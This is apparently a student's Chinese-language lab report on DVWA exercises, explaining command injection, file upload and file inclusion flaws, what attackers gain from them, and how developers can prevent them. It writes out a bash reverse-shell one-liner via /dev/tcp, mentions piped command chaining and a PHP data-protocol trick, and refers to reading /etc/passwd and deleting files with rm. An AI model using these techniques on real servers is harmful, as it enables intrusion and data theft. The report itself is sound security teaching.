竞学实训(1)

dawn_r1sing Lv4

Web Security实验


巨简单的web

一.实验目的

掌握Command Injection、File Upload、File Inclusion等Web漏洞的原理。

二.实验内容

1. Command Injection漏洞

(1) 请描述Command Injection的原理

服务提供方为用户提供的网站服务会根据用户的动作执行相应的command,如果此时网站代码出现漏洞(譬如传入内容未过滤、命令传入的接口暴露)导致攻击者可以任意修改command内容并执行,此时就实现了Command Injection,用户就可以执行他想执行的任意command。

例如在DVWA靶场中的command injection,此处ping的底层代码可能是像system()、exec()这样通过传入参数执行命令的函数,攻击者可以通过管道符拼接想要执行的命令(例如此处执行的whoami,可以看到我的主机名能够正确返回)。

(low、medium、high难度的攻击都可以使用上述方法(命令拼接)。

imgimg

(2) 攻击者使用Command Injection可以实现哪些目标?

执行攻击者想要执行的任意命令。通过执行任意命令,攻击者可以实现反弹shell获取服务器控制权(bash -c 'bash -i >& /dev/tcp/ip/port 0>&1')、查看并下载服务器中相应权限的文件(cat、wget)、破坏服务器服务(rm)、进行内网横向扫描等。

如图实现文件的查看(由于是windows系统,命令为type而非cat)。

img

(3) 开发者应该如何避免Command Injection漏洞?

攻击本质在于命令传入接口的防御不够严格,可以采取的手段包括 过滤命令传入内容(使用白名单过滤会更强)、尽量避免使用像system()这样的系统命令执行函数、对一些注入手法进行针对性的限制(例如上面使用的命令拼接)。

2. File Upload漏洞

(1) 请描述File Upload漏洞的原理

网站提供文件上传服务并将上传文件保存在服务器中,如果此时网站没有对上传文件进行检查(包括文件内容、文件类型等),攻击者可将恶意文件(如php文件)上传至服务器并获得其路径,然后利用恶意软件远程执行命令。其本质就是往服务器插入一个php后门服务,而该服务就是一个无过滤的command injection,攻击者利用它可以实现远程命令执行。

img

img

(low、medium、high难度的攻击都可以使用上述方法,medium在low的基础上检查文件类型(保证上图的Content-Type为image即可,文件名保持.php不变),high在medium的基础上检测文件头。

(2) 攻击者使用File Upload漏洞可以实现哪些目标?

攻击者通过上传恶意文件,可以实现远程代码执行、破坏服务器原始文件(rm)、查看并下载文件内容(cat、wget)等(其实也就可以实现Command Injection能够实现的目标)。

(3) 开发者应该如何避免File Upload漏洞?

由于攻击入口是文件上传位置,所以主要是对上传文件进行检测,可以采取的手段包括 限制上传文件的Content-Type、文件头检测(如gif的GIF89a)、文件扩展名检测(白名单检测效果更强)、文件内容检测(如过滤php、eval等字样)等。

3. File Inclusion漏洞

(1) 请描述 File Inclusion的原理

网站服务中使用了文件包含技术,会对文件进行动态加载。攻击者通过修改文件包含接口的传入内容,实现其对恶意文件(本地或远程)的包含,或者使用文件包含的一些特殊用法(例如php伪协议)对服务器进行攻击。例如在这里,我使用了data协议,它的特点是会执行传入的php代码。

img

(上图方法适用于low、medium、high难度。对于low、medium难度也可以直接向page参数传入想要获取的目标文件路径;high难度指定了page参数内容的格式,简单上传文件路径会被过滤掉,此时可以用上面的伪协议读目标文件。

(2) 攻击者使用 File Inclusion可以实现哪些目标?

通过文件包含漏洞,攻击者可以利用它加载远程恶意文件并执行、泄露本地敏感信息(如/etc/passwd)、结合注入(如在日志文件中写入php代码)、利用伪协议实现任意代码执行。

(3) 开发者应该如何避免 File Inclusion漏洞?

可以采取的手段包括 对文件包含接口处的用户输入进行过滤(如php、filter、data、etc等关键词)、条件允许的情况下禁止访问外网(防止加载远程恶意代码)、不要将用户的输入直接拼接在文件包含函数中(攻击者总会找的各种新奇的构造方法)、禁用一些特殊功能(如路径穿越等)。

三.实验总结

本次实验让我直观认识了攻击者是如何通过这些基础漏洞实现目标命令执行、恶意文件上传、敏感文件读取的。我深刻体会到Web应用的安全几乎是与开发者的每一行代码都有密切的关系,尤其是当涉及到用户输入、文件处理等敏感操作时,开发者需要一直秉持着不可信任用户的原则。

四.思考题

三种漏洞(Command Injection、File Inclusion、File Upload)的表现形式不同,它们的本质是否有共通之处?

  • 三者都是由于完全信任用户的输入,没有进行有效的检测过滤而导致任意代码的执行,只不过是通过各种不同的方式:Command Injection通过注入构造目标命令、File Upload通过上传文件获得命令注入窗口、File Inclusion通过包含恶意文件执行其中的目标代码;
  • Author: dawn_r1sing
  • Created at : 2025-07-09 11:53:06
  • License: This work is licensed under CC BY-NC-SA 4.0.(转载请注明出处)